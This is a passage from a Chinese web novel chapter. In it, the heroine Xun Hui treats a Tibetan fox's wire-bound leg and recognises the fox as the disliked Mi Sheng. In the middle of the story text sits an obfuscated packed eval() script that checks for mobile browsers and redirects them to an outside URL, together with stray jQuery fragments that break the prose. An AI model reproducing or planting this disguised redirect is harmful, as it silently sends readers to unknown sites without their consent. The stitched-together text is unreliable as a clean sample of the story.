传来“啪嗒”声和“嘤嘤”叫声,她只好再次开门。
见寻茴开门,小狗急忙将伸一只后腿往前大幅度甩一甩,她随之看去,腿上缠绕了好几圈铜丝,神情十分楚楚可怜,倒是与密声不分上下,但他没有这小狗可爱。
寻茴又四处打量周围,确认无人后,说:“进来吧。”
小狗连忙起身快跑屋里,生怕寻茴反悔将其撵出去。
烛光下,寻茴看清楚它的真实样貌,只见它生得一张方脸,小小的眼睛是琥珀色,阔吻短喙,黝黑的小鼻子,完全不像是只小狗,像是只狐狸,不过这般模样与常见的赤狐截然不同。
这大方脸,丑丑的五官,寻茴好像是在纪录片里见到过。
它是藏狐!
果然比屏幕里丑太多。
它总有种淡淡的诙谐搞笑,寻茴甚至不敢直视它的小眼睛,短短几秒内脑海疯狂浮现从小到大所有悲伤之事。
寻茴忍不住肩膀微抖,只见那藏狐努力睁大那一对豆大的小眼睛冲她卖萌,瘦弱的身躯后毛茸茸的大尾巴摇来摇去,高高撅起嘴。
她长舒一口气,问:“这花是给我的吗?”
藏狐点点头,大尾巴摇晃得更欢,小眼睛亮得她不忍拒绝,只好俯身伸手,轻捏起这一朵鲜艳的花,每一片花瓣都舒展得恰到好处,看起来像是满园群芳里,最为夺目的一朵。
藏狐四肢处皆有几道勒痕,想必为了采下这花吃过不少苦头。
她半蹲下,指尖轻落,缓缓抚过这狐毛茸茸的头顶,笑着说“谢谢你哦小狐狸。”
这藏狐似乎看起来很无奈兴奋,只是这浓密厚实的毛发,这粗糙刺刺的手感,一时让她的笑容凝固住,对上它满是喜悦的小眼睛,她只好硬着头皮抚摸几下。
毛茸茸的大尾巴不停蹭着她的腿,突然藏狐发出细细的“喵呜”声吓她一激灵,这声音像幼猫叫,又有点像小婴儿啼哭,与这张又方又憨的脸多少有点匹配。
她嘴角抽搐,略微尴尬的收回手,藏狐见状蜷着身子,连连在地上打滚,同时还发出“嘤嘤嘤”声。
……
“这是撒娇的意思吗…”
“大概是痛的意思吗…”
寻茴蹙眉看不懂它为何这样,也不知道如何阻拦,她悄无声息地将花插进桌上原有的白玉瓶中,竟恰好合适,目光移回,藏狐仍然翻滚着,嘤叫着。
顿时,寻茴脑中浮现曾刷的热门论坛,问狐狸怎么叫,回:“大楚兴,陈胜王”。
她猛地垂眸对上那双小眼睛,试图卖萌的罪恶方脸,总有种越认真越心酸的搞笑,实在是无法忍耐下去。
她急急转过身,捂住嘴,将那点憋不住的笑意,化作了肩头的一阵轻颤,这只狐简直就是在她笑点上租了房子,也便于日后收取费用。
不知过了多久,藏狐些许着急的在她腿边来回蹭,她才想起来还有要紧事没干,蹲下身子,手掌弯弯,小东西歪着头十分疑惑,寻茴连连指指它身后,藏狐恍然大悟扬起大尾巴,放入她掌心。
拼命睁大那双小眼睛,它棕色的耳朵尖轻快晃动,见寻茴一言不发以是默许,便哼唧着扭动起小身体,小眼睛眯成两条缝,方方正正的脸也随着摆左一下,摆右一下,满面谄媚之色。
“别这样,更想笑……”
寻茴只觉心中跑过几只求偶期开屏的雄性华美极乐鸟,这种抽象的画面对上藏狐这个具体的抽象,她长吁一口气,紧紧咬住下嘴唇,强忍着笑意。
她憋得脸通红,藏狐见状还以为她这是被自己所可爱到了,扭动幅度之大,连同在她掌心的尾巴都随之摆动。
她一把捏住那方方正正的双颊,一脸严肃的盯着它的长嘴筒子,说:“别这样,别这样,不是尾巴,不是尾巴,是腿,是受伤的腿。”
这触感略显粗糙,像极了刚晒好的带毛花生壳,没有想象中软得像小猫小狗,见藏狐企图吐出小舌头卖萌,她指腹稍一用力,藏狐嘴巴就被挤成了圆圆的O形,她说:“乖乖伸出受伤的腿,听懂了就点头。”
藏狐欲要点头却动弹不了,只能尾巴尖在地面点两下,嘴里挤出断断续续哼唧声,像在撒娇求饶。
寻茴轻哼一声,慢慢松了力度,藏狐被捏得皱起的脸颊回弹,圆乎乎的脸盘晃了晃,它甩了甩耳朵,迅速伸出舌头,在她手背上轻舔一下就连连缩头着,往里收收下巴,低头抬眼打量着寻茴的脸色。
她一愣,脸色一沉,转而一把捏住藏狐的背部,将其轻轻拽过来,用它粗糙的毛发擦拭手背的津唾,作为安抚轻抚它的小脑袋,放回位置。
她垂眸专心使劲扯开一圈圈铜丝,缠得每圈都很整齐但并不牢固,不像是藏狐无意中了猎人的陷阱,倒像是有人有意蓄谋为之。
铜丝两端皆为齐整,没有毛刺,如同精心锉过的一般。
她动作很快,不出一盏茶的工夫就全部扯了下来,细细检查几眼狐狸腿毫发无损,她欲要指尖梳理毛发。
藏狐突然收回腿,单眼眨了一下并另一只眼睁大,抬腿伸舌头,把凌乱的毛舔整齐,紧接着摇起大尾巴,抖抖耳朵,迈着猫步痴迷得蹭蹭寻茴的大腿。
它的一举一动,看着好眼熟。
寻茴不语只是静静回想,装撒娇还会谄媚,不笨也不聪明,像故人。
寻茴一把捏住藏狐的背部往后提溜,一只手偷偷狠掐了自己大腿一把,对上它的双缝,重声吐出:“密声。”
这两个字后,藏狐尾巴尖直直停住,默默把脸转到另一侧。
“你果然和密声认识。”寻茴说,“可惜了,我最讨厌他。”
藏狐听摆,刷的一下小脑袋转回来,耳朵耷拉着,就连尾巴都垂着不动,喉咙里发出细碎的呜咽声,不知是不是寻茴听觉有误,竟会听到呜咽声在逐渐夹起来,倒像是又哭又撒娇。
“受不了,和密声一个德行。”
“这就是当生活看到,我刚幸福过一秒后,老天奶就开整我吗。”
“密声这种类型真可怕……”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048015|193899||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>寻茴默默心想着,面不改色的轻抚上它的小脑袋,眼神飘忽不定,随意的说:“哎,突然想起来,密声其实长得蛮好看的。”
密声眼睛一亮,又迅速摇晃耳朵,发出愉快的哼唧声,使劲甩一下尾巴,背对着寻茴,它坐下抬高脚,伸出舌头仔细地舔干净四只脚掌,
舔干净后,密声转过身来,弓起身子,小短腿一蹬一跃扑入寻茴怀里,温温热热的,她的体香扑鼻而来。
密声心里美得不行,前爪子搭上她的双手,小脑袋蹭着她的锁骨,尾巴放在她肚子上,以来暖暖身体,曾在书中看到过女性肚子容易着凉,而现在被迫变为小狐狸的自己,这般的乖巧懂事,又可爱,必定会迷住寻茴。
寻茴分明曾与朋友交谈时说喜欢毛茸茸小动物,可现在的她怎么没有想象中那么惊喜,反而一副冷淡模样。
莫非是在觉得它卖萌不够吗?
密声眼珠子一转,挤压声带断断续续发出哼唧声,踮起脚用耳朵蹭蹭她的下巴,轻轻眨眼几下,皮往下耷拉点,露出满分级别的无辜感,对上她的双眸。
……
……
……
寻茴思绪乱成凉掉的麻团,不好吃了但也不能扔掉,长舒一口气,起身打开门,两手捏住这只,除了长相和密声差距有十万八千里,性格与他半斤八两的严肃脸藏狐,欲要把它放出去。
密声一看她开了门,赶忙用尽浑身力气往下坠,爪子紧紧扒拉住她的衣襟,身子紧贴她的腹部,轻抬脑袋往后微微仰头,防止万一不小心会碰到她的胸前,哼哼唧唧的望着她。
“你得回家,我要歇息去。”寻茴说完,密声连连摇头,就连耳朵都在抗议,讨好似得蹭蹭寻茴的手,尾巴轻拍她的大腿。
寻茴见状小心翼翼问道:“你难不成没有家吗?”
“喵呜~”密声夹起嗓子拖长尾音,故作悲伤般慢慢点头。
“怎么可能,藏狐怎么可能会独自生活在这种地方。”
寻茴刚说完,悄然往后退步,背依靠门框遮掩住身体,瞟一眼可能是在装可怜但看起来很搞笑的藏狐。
她仰望着屋外,四处细细打量,仍然半只人影都没有,只能依稀听到几声虫鸣。
密声随之看向屋外,那个人还是没有出现,他着急得不行,爪子一松,轻盈落下,趁寻茴还没有反应过来,轻轻一蹦,四个爪子都牢牢抱住寻茴的大腿。
突如其来行为吓寻茴一激灵,使劲摆腿数次却怎么甩都甩不掉,它如同强力胶般粘在寻茴腿上。
“我要歇息了,明个得早起呢,小狐狸能听懂吗,快去找你家人朋友吧,若是你能乖乖听话,姐姐我后日,给你准备好吃的怎么样呀。”
寻茴笑盈盈哄着它,虽说此时非三更半夜,但她深知自己光睡前准备,都要花费好几时辰来哄自己。
她脑海情不自禁的浮现出曾一点点的幸福时光,脸上一闪而过的悲伤,不知不觉中身子的温度也冷下来几分,就连鼻尖也红得明显。